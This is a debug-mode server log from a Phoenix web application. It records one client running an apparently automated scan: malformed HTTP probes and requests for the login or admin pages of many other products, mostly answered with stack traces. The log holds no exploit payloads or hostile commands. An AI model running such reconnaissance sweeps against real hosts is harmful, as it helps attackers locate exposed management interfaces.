[Thu Sep  3 07:46:49.935000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45912] GET /Home.do
[Thu Sep  3 07:46:49.964000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45912] ** (Phoenix.Router.NoRouteError) no route found for GET /Home.do (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:46:55.957000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.HTTPError) Request line HTTP error: "Secure * Secure-HTTP/1.4\r\n"
[Thu Sep  3 07:46:59.624000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:47206] GET /
[Thu Sep  3 07:46:59.624000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:47206] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:46:59.625000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:47206] Sent 200 in 981µs
[Thu Sep  3 07:47:00.390000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.HTTPError) Request line HTTP error: "HELP\r\n"
[Thu Sep  3 07:47:00.735000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.HTTPError) Invalid HTTP version: {0, 9}
[Thu Sep  3 07:47:01.306000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:47234] HEAD /
[Thu Sep  3 07:47:01.306000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:47234] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:47:01.307000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:47234] Sent 200 in 803µs
[Thu Sep  3 07:47:02.108000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:47236] HEAD /
[Thu Sep  3 07:47:02.108000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:47236] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:47:02.110000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:47236] Sent 200 in 2ms
[Thu Sep  3 07:47:03.508000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.HTTPError) Request line HTTP error: "some invalid request\r\n"
[Thu Sep  3 07:47:09.710000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53786] GET /login.php
[Thu Sep  3 07:47:09.730000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53786] ** (Phoenix.Router.NoRouteError) no route found for GET /login.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:47:10.395000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53790] GET /this_server/all_settings.shtml
[Thu Sep  3 07:47:10.415000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53790] ** (Phoenix.Router.NoRouteError) no route found for GET /this_server/all_settings.shtml (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:47:11.062000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53800] GET /
[Thu Sep  3 07:47:11.062000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:53800] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:47:11.063000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53800] Sent 200 in 862µs
[Thu Sep  3 07:47:11.868000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53812] GET /authenticate/login
[Thu Sep  3 07:47:11.884000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53812] ** (Phoenix.Router.NoRouteError) no route found for GET /authenticate/login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:47:13.190000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49276] GET /logon/LogonPoint/index.html
[Thu Sep  3 07:47:13.209000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49276] ** (Phoenix.Router.NoRouteError) no route found for GET /logon/LogonPoint/index.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:47:13.585000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53820] GET /start.js
[Thu Sep  3 07:47:13.604000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53820] ** (Phoenix.Router.NoRouteError) no route found for GET /start.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:47:14.075000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49280] GET /index.html
[Thu Sep  3 07:47:14.115000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49280] ** (Phoenix.Router.NoRouteError) no route found for GET /index.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:47:14.246000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49290] GET /tmui/
[Thu Sep  3 07:47:14.284000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49290] ** (Phoenix.Router.NoRouteError) no route found for GET /tmui (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:47:14.919000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49292] GET /login
[Thu Sep  3 07:47:14.956000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49292] ** (Phoenix.Router.NoRouteError) no route found for GET /login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:47:15.580000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49304] GET /netmri/config/userAdmin/login.tdf
[Thu Sep  3 07:47:15.594000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49304] ** (Phoenix.Router.NoRouteError) no route found for GET /netmri/config/userAdmin/login.tdf (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:47:16.243000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49316] GET /scgi-bin/platform.cgi
[Thu Sep  3 07:47:16.274000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49316] ** (Phoenix.Router.NoRouteError) no route found for GET /scgi-bin/platform.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:47:17.022000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49322] GET /admin/login.do
[Thu Sep  3 07:47:17.064000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49322] ** (Phoenix.Router.NoRouteError) no route found for GET /admin/login.do (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:47:17.827000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49334] GET /en/main.js
[Thu Sep  3 07:47:17.865000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49334] ** (Phoenix.Router.NoRouteError) no route found for GET /en/main.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:47:18.126000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49326] GET /admin_ui/mas/ent/login.html
[Thu Sep  3 07:47:18.141000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49326] ** (Phoenix.Router.NoRouteError) no route found for GET /admin_ui/mas/ent/login.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:47:18.471000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49350] GET /mgmt/login
[Thu Sep  3 07:47:18.491000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49350] ** (Phoenix.Router.NoRouteError) no route found for GET /mgmt/login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:47:19.222000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49362] GET /dms2/Login.jsp
